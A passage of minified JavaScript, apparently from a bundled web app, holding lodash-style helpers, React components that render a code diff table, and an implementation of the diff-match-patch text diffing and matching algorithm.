n=-1,t=e==null?0:e.length,a=Array(t);++n<t;)a[n]=r(e[n],n,e);return a},Pn=K?K.prototype:void 0,$n=Pn?Pn.toString:void 0,Wa=function e(r){if(typeof r=="string")return r;if(V(r))return Va(r,e)+"";if(un(r))return $n?$n.call(r):"";var n=r+"";return n=="0"&&1/r==-1/0?"-0":n},Xa=function(e){return e==null?"":Wa(e)},cr=function(e,r){return V(e)?e:cn(e,r)?[e]:Ha(Xa(e))},Fe=function(e){if(typeof e=="string"||un(e))return e;var r=e+"";return r=="0"&&1/e==-1/0?"-0":r},fr=function(e,r){for(var n=0,t=(r=cr(r,e)).length;e!=null&&n<t;)e=e[Fe(r[n++])];return n&&n==t?e:void 0},Za=function(e,r,n){var t=e==null?void 0:fr(e,r);return t===void 0?n:t},Ya=function(e,r){return e!=null&&r in Object(e)},Ja=function(e,r,n){for(var t=-1,a=(r=cr(r,e)).length,s=!1;++t<a;){var i=Fe(r[t]);if(!(s=e!=null&&n(e,i)))break;e=e[i]}return s||++t!=a?s:!!(a=e==null?0:e.length)&&on(a)&&sr(i,a)&&(V(e)||ar(e))},Qa=function(e,r){return e!=null&&Ja(e,r,Ya)},qa=function(e,r){return cn(e)&&lr(r)?ur(Fe(e),r):function(n){var t=Za(n,e);return t===void 0&&t===r?Qa(n,e):or(r,t,3)}},es=function(e){return e},ns=function(e){return function(r){return r?.[e]}},rs=function(e){return function(r){return fr(r,e)}},ts=function(e){return cn(e)?ns(Fe(e)):rs(e)},as=function(e){return typeof e=="function"?e:e==null?es:typeof e=="object"?V(e)?qa(e[0],e[1]):Ga(e):ts(e)};function Q(e){if(!e)throw new Error("change is not provided");if(ge(e))return"N".concat(e.oldLineNumber);var r=we(e)?"I":"D";return"".concat(r).concat(e.lineNumber)}an("old");var dn=me("old"),hn=me("new");Jn("old");Jn("new");an("new");an("old");var Fn=(function(){try{var e=ae(Object,"defineProperty");return e({},"",{}),e}catch{}})(),ss=function(e,r,n){r=="__proto__"&&Fn?Fn(e,r,{configurable:!0,enumerable:!0,value:n,writable:!0}):e[r]=n},is=function(e){return function(r,n,t){for(var a=-1,s=Object(r),i=t(r),l=i.length;l--;){var o=i[++a];if(n(s[o],o,s)===!1)break}return r}},os=is(),ls=function(e,r){return e&&os(e,r,ln)},dr=function(e,r){var n={};return r=as(r),ls(e,(function(t,a,s){ss(n,a,r(t,a,s))})),n},us=["changeKey","text","tokens","renderToken"],Bn=function e(r,n){var t=r.type,a=r.value,s=r.markType,i=r.properties,l=r.className,o=r.children,u=function(f){return d.jsx("span",{className:f,children:a||o&&o.map(e)},n)};switch(t){case"text":return a;case"mark":return u("diff-code-mark diff-code-mark-".concat(s));case"edit":return u("diff-code-edit");default:var c=i&&i.className;return u(F(l||c))}};function cs(e){if(!Array.isArray(e))return!0;if(e.length>1)return!1;if(e.length===1){var r=x(e,1)[0];return r.type==="text"&&!r.value}return!0}function fs(e){var r=e.changeKey,n=e.text,t=e.tokens,a=e.renderToken,s=ce(e,us),i=a?function(l,o){return a(l,Bn,o)}:Bn;return d.jsx("td",M(M({},s),{},{"data-change-key":r,children:t?cs(t)?" ":t.map(i):n||" "}))}var hr=j.memo(fs);function gr(e,r){return function(){var n=r==="old"?dn(e):hn(e);return n===-1?void 0:n}}function mr(e,r){return function(n){return e&&n?d.jsx("a",{href:r?"#"+r:void 0,children:n}):n}}function Te(e,r){return r?function(n){e(),r(n)}:e}function Gn(e,r,n,t){return j.useMemo((function(){var a=dr(e,(function(s){return function(i){return s&&s(r,i)}}));return a.onMouseEnter=Te(n,a.onMouseEnter),a.onMouseLeave=Te(t,a.onMouseLeave),a}),[e,n,t,r])}function xn(e,r,n,t,a,s,i,l,o){var u={change:r,side:t,inHoverState:l,renderDefault:gr(r,t),wrapInAnchor:mr(a,s)};return d.jsx("td",M(M({className:e},i),{},{"data-change-key":n,children:o(u)}))}function ds(e){var r,n,t,a=e.change,s=e.selected,i=e.tokens,l=e.className,o=e.generateLineClassName,u=e.gutterClassName,c=e.codeClassName,f=e.gutterEvents,h=e.codeEvents,g=e.hideGutter,m=e.gutterAnchor,v=e.generateAnchorID,b=e.renderToken,p=e.renderGutter,w=a.type,y=a.content,_=Q(a),N=(r=x(j.useState(!1),2),n=r[0],t=r[1],[n,j.useCallback((function(){return t(!0)}),[]),j.useCallback((function(){return t(!1)}),[])]),C=x(N,3),S=C[0],A=C[1],k=C[2],E=j.useMemo((function(){return{change:a}}),[a]),D=Gn(f,E,A,k),G=Gn(h,E,A,k),T=v(a),$=o({changes:[a],defaultGenerate:function(){return l}}),B=F("diff-gutter","diff-gutter-".concat(w),u,{"diff-gutter-selected":s}),X=F("diff-code","diff-code-".concat(w),c,{"diff-code-selected":s});return d.jsxs("tr",{id:T,className:F("diff-line",$),children:[!g&&xn(B,a,_,"old",m,T,D,S,p),!g&&xn(B,a,_,"new",m,T,D,S,p),d.jsx(hr,M({className:X,changeKey:_,text:y,tokens:i,renderToken:b},G))]})}var hs=j.memo(ds);function gs(e){var r=e.hideGutter,n=e.element;return d.jsx("tr",{className:"diff-widget",children:d.jsx("td",{colSpan:r?1:3,className:"diff-widget-content",children:n})})}var ms=["hideGutter","selectedChanges","tokens","lineClassName"],vs=["hunk","widgets","className"];function bs(e){var r=e.hunk,n=e.widgets,t=e.className,a=ce(e,vs),s=(function(i,l){return i.reduce((function(o,u){var c=Q(u);o.push(["change",c,u]);var f=l[c];return f&&o.push(["widget",c,f]),o}),[])})(r.changes,n);return d.jsx("tbody",{className:F("diff-hunk",t),children:s.map((function(i){return(function(l,o){var u=x(l,3),c=u[0],f=u[1],h=u[2],g=o.hideGutter,m=o.selectedChanges,v=o.tokens,b=o.lineClassName,p=ce(o,ms);if(c==="change"){var w=J(h)?"old":"new",y=J(h)?dn(h):hn(h),_=v?v[w][y-1]:null;return d.jsx(hs,M({className:b,change:h,hideGutter:g,selected:m.includes(f),tokens:_},p),"change".concat(f))}return c==="widget"?d.jsx(gs,{hideGutter:g,element:h},"widget".concat(f)):null})(i,a)}))})}var vr=0;function Ce(e,r,n,t){var a=j.useCallback((function(){return r(e)}),[e,r]),s=j.useCallback((function(){return r("")}),[r]);return j.useMemo((function(){var i=dr(t,(function(l){return function(o){return l&&l({side:e,change:n},o)}}));return i.onMouseEnter=Te(a,i.onMouseEnter),i.onMouseLeave=Te(s,i.onMouseLeave),i}),[n,t,a,e,s])}function Ue(e){var r=e.change,n=e.side,t=e.selected,a=e.tokens,s=e.gutterClassName,i=e.codeClassName,l=e.gutterEvents,o=e.codeEvents,u=e.anchorID,c=e.gutterAnchor,f=e.gutterAnchorTarget,h=e.hideGutter,g=e.hover,m=e.renderToken,v=e.renderGutter;if(!r){var b=F("diff-gutter","diff-gutter-omit",s),p=F("diff-code","diff-code-omit",i);return[!h&&d.jsx("td",{className:b},"gutter"),d.jsx("td",{className:p},"code")]}var w=r.type,y=r.content,_=Q(r),N=n===vr?"old":"new",C=M({id:u||void 0,className:F("diff-gutter","diff-gutter-".concat(w),He({"diff-gutter-selected":t},"diff-line-hover-"+N,g),s),children:v({change:r,side:N,inHoverState:g,renderDefault:gr(r,N),wrapInAnchor:mr(c,f)})},l),S=F("diff-code","diff-code-".concat(w),He({"diff-code-selected":t},"diff-line-hover-"+N,g),i);return[!h&&d.jsx("td",M(M({},C),{},{"data-change-key":_}),"gutter"),d.jsx(hr,M({className:S,changeKey:_,text:y,tokens:a,renderToken:m},o),"code")]}function ps(e){var r=e.className,n=e.oldChange,t=e.newChange,a=e.oldSelected,s=e.newSelected,i=e.oldTokens,l=e.newTokens,o=e.monotonous,u=e.gutterClassName,c=e.codeClassName,f=e.gutterEvents,h=e.codeEvents,g=e.hideGutter,m=e.generateAnchorID,v=e.generateLineClassName,b=e.gutterAnchor,p=e.renderToken,w=e.renderGutter,y=x(j.useState(""),2),_=y[0],N=y[1],C=Ce("old",N,n,f),S=Ce("new",N,t,f),A=Ce("old",N,n,h),k=Ce("new",N,t,h),E=n&&m(n),D=t&&m(t),G=v({changes:[n,t],defaultGenerate:function(){return r}}),T={monotonous:o,hideGutter:g,gutterClassName:u,codeClassName:c,gutterEvents:f,codeEvents:h,renderToken:p,renderGutter:w},$=M(M({},T),{},{change:n,side:vr,selected:a,tokens:i,gutterEvents:C,codeEvents:A,anchorID:E,gutterAnchor:b,gutterAnchorTarget:E,hover:_==="old"}),B=M(M({},T),{},{change:t,side:1,selected:s,tokens:l,gutterEvents:S,codeEvents:k,anchorID:n===t?null:D,gutterAnchor:b,gutterAnchorTarget:n===t?E:D,hover:_==="new"});if(o)return d.jsx("tr",{className:F("diff-line",G),children:Ue(n?$:B)});var X=(function(Z,L){return Z&&!L?"diff-line-old-only":!Z&&L?"diff-line-new-only":Z===L?"diff-line-normal":"diff-line-compare"})(n,t);return d.jsxs("tr",{className:F("diff-line",X,G),children:[Ue($),Ue(B)]})}var ys=j.memo(ps);function ws(e){var r=e.hideGutter,n=e.oldElement,t=e.newElement;return e.monotonous?d.jsx("tr",{className:"diff-widget",children:d.jsx("td",{colSpan:r?1:2,className:"diff-widget-content",children:n||t})}):n===t?d.jsx("tr",{className:"diff-widget",children:d.jsx("td",{colSpan:r?2:4,className:"diff-widget-content",children:n})}):d.jsxs("tr",{className:"diff-widget",children:[d.jsx("td",{colSpan:r?1:2,className:"diff-widget-content",children:n}),d.jsx("td",{colSpan:r?1:2,className:"diff-widget-content",children:t})]})}var _s=["selectedChanges","monotonous","hideGutter","tokens","lineClassName"],Ns=["hunk","widgets","className"];function Ae(e,r){return(e?Q(e):"00")+(r?Q(r):"00")}function js(e){var r=e.hunk,n=e.widgets,t=e.className,a=ce(e,Ns),s=(function(i,l){for(var o=function(p){if(!p)return null;var w=Q(p);return l[w]||null},u=[],c=0;c<i.length;c++){var f=i[c];if(ge(f))u.push(["change",Ae(f,f),f,f]);else if(J(f)){var h=i[c+1];h&&we(h)?(c+=1,u.push(["change",Ae(f,h),f,h])):u.push(["change",Ae(f,null),f,null])}else u.push(["change",Ae(null,f),null,f]);var g=u[u.length-1],m=o(g[2]),v=o(g[3]);if(m||v){var b=g[1];u.push(["widget",b,m,v])}}return u})(r.changes,n);return d.jsx("tbody",{className:F("diff-hunk",t),children:s.map((function(i){return(function(l,o){var u=x(l,4),c=u[0],f=u[1],h=u[2],g=u[3],m=o.selectedChanges,v=o.monotonous,b=o.hideGutter,p=o.tokens,w=o.lineClassName,y=ce(o,_s);if(c==="change"){var _=!!h&&m.includes(Q(h)),N=!!g&&m.includes(Q(g)),C=h&&p?p.old[dn(h)-1]:null,S=g&&p?p.new[hn(g)-1]:null;return d.jsx(ys,M({className:w,oldChange:h,newChange:g,monotonous:v,hideGutter:b,oldSelected:_,newSelected:N,oldTokens:C,newTokens:S},y),"change".concat(f))}return c==="widget"?d.jsx(ws,{monotonous:v,hideGutter:b,oldElement:h,newElement:g},"widget".concat(f)):null})(i,a)}))})}var Ss=["gutterType","hunkClassName"];function br(e){var r=e.hunk,n=ot(),t=n.gutterType,a=n.hunkClassName,s=ce(n,Ss),i=t==="none",l=t==="anchor",o=s.viewType==="unified"?bs:js;return d.jsx(o,M(M({},s),{},{hunk:r,hideGutter:i,gutterAnchor:l,className:a}))}function ks(){}function Ln(e,r){var n=r?"auto":"none";e instanceof HTMLElement&&e.style.userSelect!==n&&(e.style.userSelect=n)}function Cs(e){return e.map((function(r){return d.jsx(br,{hunk:r},(function(n){return"-".concat(n.oldStart,",").concat(n.oldLines," +").concat(n.newStart,",").concat(n.newLines)})(r))}))}function As(e){var r=e.diffType,n=e.hunks,t=e.optimizeSelection,a=e.className,s=e.hunkClassName,i=s===void 0?R.hunkClassName:s,l=e.lineClassName,o=l===void 0?R.lineClassName:l,u=e.generateLineClassName,c=u===void 0?R.generateLineClassName:u,f=e.gutterClassName,h=f===void 0?R.gutterClassName:f,g=e.codeClassName,m=g===void 0?R.codeClassName:g,v=e.gutterType,b=v===void 0?R.gutterType:v,p=e.viewType,w=p===void 0?R.viewType:p,y=e.gutterEvents,_=y===void 0?R.gutterEvents:y,N=e.codeEvents,C=N===void 0?R.codeEvents:N,S=e.generateAnchorID,A=S===void 0?R.generateAnchorID:S,k=e.selectedChanges,E=k===void 0?R.selectedChanges:k,D=e.widgets,G=D===void 0?R.widgets:D,T=e.renderGutter,$=T===void 0?R.renderGutter:T,B=e.tokens,X=e.renderToken,Z=e.children,L=Z===void 0?Cs:Z,q=j.useRef(null),Be=j.useCallback((function(mn){var Cr=mn.target;if(mn.button===0){var _e=(function(Ge,Ar){for(var ee=Ge;ee&&ee!==document.documentElement&&!ee.classList.contains(Ar);)ee=ee.parentElement;return ee===document.documentElement?null:ee})(Cr,"diff-code");if(_e&&_e.parentElement){var vn=window.getSelection();vn&&vn.removeAllRanges();var Ne=nt(_e.parentElement.children).indexOf(_e);if(Ne===1||Ne===3){var bn,je=st(q.current?q.current.querySelectorAll(".diff-line"):[]);try{for(je.s();!(bn=je.n()).done;){var pn=bn.value.children;Ln(pn[1],Ne===1),Ln(pn[3],Ne===3)}}catch(Ge){je.e(Ge)}finally{je.f()}}}}}),[]),I=b==="none",U=r==="add"||r==="delete",jr=w==="split"&&!U&&t?Be:ks,Sr=j.useMemo((function(){return d.jsxs("colgroup",w==="unified"?{children:[!I&&d.jsx("col",{className:"diff-gutter-col"}),!I&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{})]}:U?{children:[!I&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{})]}:{children:[!I&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{}),!I&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{})]})}),[w,U,I]),kr=j.useMemo((function(){return{hunkClassName:i,lineClassName:o,generateLineClassName:c,gutterClassName:h,codeClassName:m,monotonous:U,hideGutter:I,viewType:w,gutterType:b,codeEvents:C,gutterEvents:_,generateAnchorID:A,selectedChanges:E,widgets:G,renderGutter:$,tokens:B,renderToken:X}}),[m,C,A,h,_,b,I,i,o,c,U,$,X,E,B,w,G]);return d.jsx(it,{value:kr,children:d.jsxs("table",{ref:q,className:F("diff","diff-".concat(w),a),onMouseDown:jr,children:[Sr,L(n)]})})}var Es=j.memo(As);K&&K.isConcatSpreadable;var gn=ye((function(e){var r=function(){this.Diff_Timeout=1,this.Diff_EditCost=4,this.Match_Threshold=.5,this.Match_Distance=1e3,this.Patch_DeleteThreshold=.5,this.Patch_Margin=4,this.Match_MaxBits=32};r.Diff=function(n,t){return[n,t]},r.prototype.diff_main=function(n,t,a,s){s===void 0&&(s=this.Diff_Timeout<=0?Number.MAX_VALUE:new Date().getTime()+1e3*this.Diff_Timeout);var i=s;if(n==null||t==null)throw new Error("Null input. (diff_main)");if(n==t)return n?[new r.Diff(0,n)]:[];a===void 0&&(a=!0);var l=a,o=this.diff_commonPrefix(n,t),u=n.substring(0,o);n=n.substring(o),t=t.substring(o),o=this.diff_commonSuffix(n,t);var c=n.substring(n.length-o);n=n.substring(0,n.length-o),t=t.substring(0,t.length-o);var f=this.diff_compute_(n,t,l,i);return u&&f.unshift(new r.Diff(0,u)),c&&f.push(new r.Diff(0,c)),this.diff_cleanupMerge(f),f},r.prototype.diff_compute_=function(n,t,a,s){var i;if(!n)return[new r.Diff(1,t)];if(!t)return[new r.Diff(-1,n)];var l=n.length>t.length?n:t,o=n.length>t.length?t:n,u=l.indexOf(o);if(u!=-1)return i=[new r.Diff(1,l.substring(0,u)),new r.Diff(0,o),new r.Diff(1,l.substring(u+o.length))],n.length>t.length&&(i[0][0]=i[2][0]=-1),i;if(o.length==1)return[new r.Diff(-1,n),new r.Diff(1,t)];var c=this.diff_halfMatch_(n,t);if(c){var f=c[0],h=c[1],g=c[2],m=c[3],v=c[4],b=this.diff_main(f,g,a,s),p=this.diff_main(h,m,a,s);return b.concat([new r.Diff(0,v)],p)}return a&&n.length>100&&t.length>100?this.diff_lineMode_(n,t,s):this.diff_bisect_(n,t,s)},r.prototype.diff_lineMode_=function(n,t,a){var s=this.diff_linesToChars_(n,t);n=s.chars1,t=s.chars2;var i=s.lineArray,l=this.diff_main(n,t,!1,a);this.diff_charsToLines_(l,i),this.diff_cleanupSemantic(l),l.push(new r.Diff(0,""));for(var o=0,u=0,c=0,f="",h="";o<l.length;){switch(l[o][0]){case 1:c++,h+=l[o][1];break;case-1:u++,f+=l[o][1];break;case 0:if(u>=1&&c>=1){l.splice(o-u-c,u+c),o=o-u-c;for(var g=this.diff_main(f,h,!1,a),m=g.length-1;m>=0;m--)l.splice(o,0,g[m]);o+=g.length}c=0,u=0,f="",h=""}o++}return l.pop(),l},r.prototype.diff_bisect_=function(n,t,a){for(var s=n.length,i=t.length,l=Math.ceil((s+i)/2),o=l,u=2*l,c=new Array(u),f=new Array(u),h=0;h<u;h++)c[h]=-1,f[h]=-1;c[o+1]=0,f[o+1]=0;for(var g=s-i,m=g%2!=0,v=0,b=0,p=0,w=0,y=0;y<l&&!(new Date().getTime()>a);y++){for(var _=-y+v;_<=y-b;_+=2){for(var N=o+_,C=(D=_==-y||_!=y&&c[N-1]<c[N+1]?c[N+1]:c[N-1]+1)-_;D<s&&C<i&&n.charAt(D)==t.charAt(C);)D++,C++;if(c[N]=D,D>s)b+=2;else if(C>i)v+=2;else if(m&&(k=o+g-_)>=0&&k<u&&f[k]!=-1&&D>=(A=s-f[k]))return this.diff_bisectSplit_(n,t,D,C,a)}for(var S=-y+p;S<=y-w;S+=2){for(var A,k=o+S,E=(A=S==-y||S!=y&&f[k-1]<f[k+1]?f[k+1]:f[k-1]+1)-S;A<s&&E<i&&n.charAt(s-A-1)==t.charAt(i-E-1);)A++,E++;if(f[k]=A,A>s)w+=2;else if(E>i)p+=2;else if(!m&&(N=o+g-S)>=0&&N<u&&c[N]!=-1){var D;if(C=o+(D=c[N])-N,D>=(A=s-A))return this.diff_bisectSplit_(n,t,D,C,a)}}}return[new r.Diff(-1,n),new r.Diff(1,t)]},r.prototype.diff_bisectSplit_=function(n,t,a,s,i){var l=n.substring(0,a),o=t.substring(0,s),u=n.substring(a),c=t.substring(s),f=this.diff_main(l,o,!1,i),h=this.diff_main(u,c,!1,i);return f.concat(h)},r.prototype.diff_linesToChars_=function(n,t){var a=[],s={};function i(u){for(var c="",f=0,h=-1,g=a.length;h<u.length-1;){(h=u.indexOf(`
+`,f))==-1&&(h=u.length-1);var m=u.substring(f,h+1);(s.hasOwnProperty?s.hasOwnProperty(m):s[m]!==void 0)?c+=String.fromCharCode(s[m]):(g==l&&(m=u.substring(f),h=u.length),c+=String.fromCharCode(g),s[m]=g,a[g++]=m),f=h+1}return c}a[0]="";var l=4e4,o=i(n);return l=65535,{chars1:o,chars2:i(t),lineArray:a}},r.prototype.diff_charsToLines_=function(n,t){for(var a=0;a<n.length;a++){for(var s=n[a][1],i=[],l=0;l<s.length;l++)i[l]=t[s.charCodeAt(l)];n[a][1]=i.join("")}},r.prototype.diff_commonPrefix=function(n,t){if(!n||!t||n.charAt(0)!=t.charAt(0))return 0;for(var a=0,s=Math.min(n.length,t.length),i=s,l=0;a<i;)n.substring(l,i)==t.substring(l,i)?l=a=i:s=i,i=Math.floor((s-a)/2+a);return i},r.prototype.diff_commonSuffix=function(n,t){if(!n||!t||n.charAt(n.length-1)!=t.charAt(t.length-1))return 0;for(var a=0,s=Math.min(n.length,t.length),i=s,l=0;a<i;)n.substring(n.length-i,n.length-l)==t.substring(t.length-i,t.length-l)?l=a=i:s=i,i=Math.floor((s-a)/2+a);return i},r.prototype.diff_commonOverlap_=function(n,t){var a=n.length,s=t.length;if(a==0||s==0)return 0;a>s?n=n.substring(a-s):a<s&&(t=t.substring(0,a));var i=Math.min(a,s);if(n==t)return i;for(var l=0,o=1;;){var u=n.substring(i-o),c=t.indexOf(u);if(c==-1)return l;o+=c,c!=0&&n.substring(i-o)!=t.substring(0,o)||(l=o,o++)}},r.prototype.diff_halfMatch_=function(n,t){if(this.Diff_Timeout<=0)return null;var a=n.length>t.length?n:t,s=n.length>t.length?t:n;if(a.length<4||2*s.length<a.length)return null;var i=this;function l(v,b,p){for(var w,y,_,N,C=v.substring(p,p+Math.floor(v.length/4)),S=-1,A="";(S=b.indexOf(C,S+1))!=-1;){var k=i.diff_commonPrefix(v.substring(p),b.substring(S)),E=i.diff_commonSuffix(v.substring(0,p),b.substring(0,S));A.length<E+k&&(A=b.substring(S-E,S)+b.substring(S,S+k),w=v.substring(0,p-E),y=v.substring(p+k),_=b.substring(0,S-E),N=b.substring(S+k))}return 2*A.length>=v.length?[w,y,_,N,A]:null}var o,u,c,f,h,g=l(a,s,Math.ceil(a.length/4)),m=l(a,s,Math.ceil(a.length/2));return g||m?(o=m?g&&g[4].length>m[4].length?g:m:g,n.length>t.length?(u=o[0],c=o[1],f=o[2],h=o[3]):(f=o[0],h=o[1],u=o[2],c=o[3]),[u,c,f,h,o[4]]):null},r.prototype.diff_cleanupSemantic=function(n){for(var t=!1,a=[],s=0,i=null,l=0,o=0,u=0,c=0,f=0;l<n.length;)n[l][0]==0?(a[s++]=l,o=c,u=f,c=0,f=0,i=n[l][1]):(n[l][0]==1?c+=n[l][1].length:f+=n[l][1].length,i&&i.length<=Math.max(o,u)&&i.length<=Math.max(c,f)&&(n.splice(a[s-1],0,new r.Diff(-1,i)),n[a[s-1]+1][0]=1,s--,l=--s>0?a[s-1]:-1,o=0,u=0,c=0,f=0,i=null,t=!0)),l++;for(t&&this.diff_cleanupMerge(n),this.diff_cleanupSemanticLossless(n),l=1;l<n.length;){if(n[l-1][0]==-1&&n[l][0]==1){var h=n[l-1][1],g=n[l][1],m=this.diff_commonOverlap_(h,g),v=this.diff_commonOverlap_(g,h);m>=v?(m>=h.length/2||m>=g.length/2)&&(n.splice(l,0,new r.Diff(0,g.substring(0,m))),n[l-1][1]=h.substring(0,h.length-m),n[l+1][1]=g.substring(m),l++):(v>=h.length/2||v>=g.length/2)&&(n.splice(l,0,new r.Diff(0,h.substring(0,v))),n[l-1][0]=1,n[l-1][1]=g.substring(0,g.length-v),n[l+1][0]=-1,n[l+1][1]=h.substring(v),l++),l++}l++}},r.prototype.diff_cleanupSemanticLossless=function(n){function t(v,b){if(!v||!b)return 6;var p=v.charAt(v.length-1),w=b.charAt(0),y=p.match(r.nonAlphaNumericRegex_),_=w.match(r.nonAlphaNumericRegex_),N=y&&p.match(r.whitespaceRegex_),C=_&&w.match(r.whitespaceRegex_),S=N&&p.match(r.linebreakRegex_),A=C&&w.match(r.linebreakRegex_),k=S&&v.match(r.blanklineEndRegex_),E=A&&b.match(r.blanklineStartRegex_);return k||E?5:S||A?4:y&&!N&&C?3:N||C?2:y||_?1:0}for(var a=1;a<n.length-1;){if(n[a-1][0]==0&&n[a+1][0]==0){var s=n[a-1][1],i=n[a][1],l=n[a+1][1],o=this.diff_commonSuffix(s,i);if(o){var u=i.substring(i.length-o);s=s.substring(0,s.length-o),i=u+i.substring(0,i.length-o),l=u+l}for(var c=s,f=i,h=l,g=t(s,i)+t(i,l);i.charAt(0)===l.charAt(0);){s+=i.charAt(0),i=i.substring(1)+l.charAt(0),l=l.substring(1);var m=t(s,i)+t(i,l);m>=g&&(g=m,c=s,f=i,h=l)}n[a-1][1]!=c&&(c?n[a-1][1]=c:(n.splice(a-1,1),a--),n[a][1]=f,h?n[a+1][1]=h:(n.splice(a+1,1),a--))}a++}},r.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/,r.whitespaceRegex_=/\s/,r.linebreakRegex_=/[\r\n]/,r.blanklineEndRegex_=/\n\r?\n$/,r.blanklineStartRegex_=/^\r?\n\r?\n/,r.prototype.diff_cleanupEfficiency=function(n){for(var t=!1,a=[],s=0,i=null,l=0,o=!1,u=!1,c=!1,f=!1;l<n.length;)n[l][0]==0?(n[l][1].length<this.Diff_EditCost&&(c||f)?(a[s++]=l,o=c,u=f,i=n[l][1]):(s=0,i=null),c=f=!1):(n[l][0]==-1?f=!0:c=!0,i&&(o&&u&&c&&f||i.length<this.Diff_EditCost/2&&o+u+c+f==3)&&(n.splice(a[s-1],0,new r.Diff(-1,i)),n[a[s-1]+1][0]=1,s--,i=null,o&&u?(c=f=!0,s=0):(l=--s>0?a[s-1]:-1,c=f=!1),t=!0)),l++;t&&this.diff_cleanupMerge(n)},r.prototype.diff_cleanupMerge=function(n){n.push(new r.Diff(0,""));for(var t,a=0,s=0,i=0,l="",o="";a<n.length;)switch(n[a][0]){case 1:i++,o+=n[a][1],a++;break;case-1:s++,l+=n[a][1],a++;break;case 0:s+i>1?(s!==0&&i!==0&&((t=this.diff_commonPrefix(o,l))!==0&&(a-s-i>0&&n[a-s-i-1][0]==0?n[a-s-i-1][1]+=o.substring(0,t):(n.splice(0,0,new r.Diff(0,o.substring(0,t))),a++),o=o.substring(t),l=l.substring(t)),(t=this.diff_commonSuffix(o,l))!==0&&(n[a][1]=o.substring(o.length-t)+n[a][1],o=o.substring(0,o.length-t),l=l.substring(0,l.length-t))),a-=s+i,n.splice(a,s+i),l.length&&(n.splice(a,0,new r.Diff(-1,l)),a++),o.length&&(n.splice(a,0,new r.Diff(1,o)),a++),a++):a!==0&&n[a-1][0]==0?(n[a-1][1]+=n[a][1],n.splice(a,1)):a++,i=0,s=0,l="",o=""}n[n.length-1][1]===""&&n.pop();var u=!1;for(a=1;a<n.length-1;)n[a-1][0]==0&&n[a+1][0]==0&&(n[a][1].substring(n[a][1].length-n[a-1][1].length)==n[a-1][1]?(n[a][1]=n[a-1][1]+n[a][1].substring(0,n[a][1].length-n[a-1][1].length),n[a+1][1]=n[a-1][1]+n[a+1][1],n.splice(a-1,1),u=!0):n[a][1].substring(0,n[a+1][1].length)==n[a+1][1]&&(n[a-1][1]+=n[a+1][1],n[a][1]=n[a][1].substring(n[a+1][1].length)+n[a+1][1],n.splice(a+1,1),u=!0)),a++;u&&this.diff_cleanupMerge(n)},r.prototype.diff_xIndex=function(n,t){var a,s=0,i=0,l=0,o=0;for(a=0;a<n.length&&(n[a][0]!==1&&(s+=n[a][1].length),n[a][0]!==-1&&(i+=n[a][1].length),!(s>t));a++)l=s,o=i;return n.length!=a&&n[a][0]===-1?o:o+(t-l)},r.prototype.diff_prettyHtml=function(n){for(var t=[],a=/&/g,s=/</g,i=/>/g,l=/\n/g,o=0;o<n.length;o++){var u=n[o][0],c=n[o][1].replace(a,"&amp;").replace(s,"&lt;").replace(i,"&gt;").replace(l,"&para;<br>");switch(u){case 1:t[o]='<ins style="background:#e6ffe6;">'+c+"</ins>";break;case-1:t[o]='<del style="background:#ffe6e6;">'+c+"</del>";break;case 0:t[o]="<span>"+c+"</span>"}}return t.join("")},r.prototype.diff_text1=function(n){for(var t=[],a=0;a<n.length;a++)n[a][0]!==1&&(t[a]=n[a][1]);return t.join("")},r.prototype.diff_text2=function(n){for(var t=[],a=0;a<n.length;a++)n[a][0]!==-1&&(t[a]=n[a][1]);return t.join("")},r.prototype.diff_levenshtein=function(n){for(var t=0,a=0,s=0,i=0;i<n.length;i++){var l=n[i][0],o=n[i][1];switch(l){case 1:a+=o.length;break;case-1:s+=o.length;break;case 0:t+=Math.max(a,s),a=0,s=0}}return t+=Math.max(a,s)},r.prototype.diff_toDelta=function(n){for(var t=[],a=0;a<n.length;a++)switch(n[a][0]){case 1:t[a]="+"+encodeURI(n[a][1]);break;case-1:t[a]="-"+n[a][1].length;break;case 0:t[a]="="+n[a][1].length}return t.join("	").replace(/%20/g," ")},r.prototype.diff_fromDelta=function(n,t){for(var a=[],s=0,i=0,l=t.split(/\t/g),o=0;o<l.length;o++){var u=l[o].substring(1);switch(l[o].charAt(0)){case"+":try{a[s++]=new r.Diff(1,decodeURI(u))}catch{throw new Error("Illegal escape in diff_fromDelta: "+u)}break;case"-":case"=":var c=parseInt(u,10);if(isNaN(c)||c<0)throw new Error("Invalid number in diff_fromDelta: "+u);var f=n.substring(i,i+=c);l[o].charAt(0)=="="?a[s++]=new r.Diff(0,f):a[s++]=new r.Diff(-1,f);break;default:if(l[o])throw new Error("Invalid diff operation in diff_fromDelta: "+l[o])}}if(i!=n.length)throw new Error("Delta length ("+i+") does not equal source text length ("+n.length+").");return a},r.prototype.match_main=function(n,t,a){if(n==null||t==null||a==null)throw new Error("Null input. (match_main)");return a=Math.max(0,Math.min(a,n.length)),n==t?0:n.length?n.substring(a,a+t.length)==t?a:this.match_bitap_(n,t,a):-1},r.prototype.match_bitap_=function(n,t,a){if(t.length>this.Match_MaxBits)throw new Error("Pattern too long for this browser.");var s=this.match_alphabet_(t),i=this;function l(C,S){var A=C/t.length,k=Math.abs(a-S);return i.Match_Distance?A+k/i.Match_Distance:k?1:A}var o=this.Match_Threshold,u=n.indexOf(t,a);u!=-1&&(o=Math.min(l(0,u),o),(u=n.lastIndexOf(t,a+t.length))!=-1&&(o=Math.min(l(0,u),o)));var c,f,h=1<<t.length-1;u=-1;for(var g,m=t.length+n.length,v=0;v<t.length;v++){for(c=0,f=m;c<f;)l(v,a+f)<=o?c=f:m=f,f=Math.floor((m-c)/2+c);m=f;var b=Math.max(1,a-f+1),p=Math.min(a+f,n.length)+t.length,w=Array(p+2);w[p+1]=(1<<v)-1;for(var y=p;y>=b;y--){var _=s[n.charAt(y-1)];if(w[y]=v===0?(w[y+1]<<1|1)&_:(w[y+1]<<1|1)&_|(g[y+1]|g[y])<<1|1|g[y+1],w[y]&h){var N=l(v,y-1);if(N<=o){if(o=N,!((u=y-1)>a))break;b=Math.max(1,2*a-u)}}}if(l(v+1,a)>o)break;g=w}return u},r.prototype.match_alphabet_=function(n){for(var t={},a=0;a<n.length;a++)t[n.charAt(a)]=0;for(a=0;a<n.length;a++)t[n.charAt(a)]|=1<<n.length-a-1;return 